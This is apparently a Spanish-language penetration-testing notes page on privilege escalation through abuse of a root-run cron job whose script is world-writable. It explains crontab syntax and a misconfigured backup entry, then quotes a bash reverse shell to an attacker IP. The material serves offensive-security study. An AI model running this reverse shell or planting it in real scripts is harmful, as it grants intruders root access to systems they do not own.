search

globe-pointerCron Job Abuse

Las tareas cron son una parte fundamental en los sistemas Linux y Unix para ejecutar tareas administrativas de forma programada, como realizar copias de seguridad, limpiar directorios y más. El crontab es el archivo de configuración donde se especifican las tareas cron, y estas tareas se ejecutan a través del demonio cron según la programación establecida.

Funcionamiento Básico del Crontab:

Un archivo cron requiere seis elementos en el siguiente orden:

  • Minutos

  • Horas

  • Días

  • Meses

  • Semanas

  • Comandos a ejecutar

Ejemplo de una entrada cron para ejecutar un script cada 12 horas:

0 */12 * * * /home/admin/backup.sh

Ejemplo de Tarea Cron Mal Configurada:

Imaginemos que un administrador del sistema configura un script de copia de seguridad con el siguiente cron:

*/3 * * * * /dmz-backups/backup.sh

Este cron ejecuta el script cada 3 minutos, cuando el objetivo probablemente era configurarlo para que se ejecutara cada 3 horas:

0 */3 * * * /dmz-backups/backup.sh

Un análisis del directorio /dmz-backups revela que backup.sh tiene permisos de escritura universales:

Esto permite que cualquier usuario pueda modificar el script y añadir comandos maliciosos.

hashtag
Uso de Herramientas para Detectar la Ejecución de Cron:

LogoGitHub - DominicBreuker/pspy: Monitor linux processes without root permissionsGitHubchevron-right

Esto muestra que el script backup.sh está siendo ejecutado como root.

hashtag
Explotación de la Vulnerabilidad en Cron

Script original de backup.sh:

Script modificado con shell inverso:

En este caso, el comando bash -i >& /dev/tcp/10.10.14.3/443 0>&1 intenta establecer una conexión inversa al atacante en la dirección IP 10.10.14.3, en el puerto 443.

PreviousVulnerable ServicesNextEscalada de privilegios basada en Linux Internals

Last updated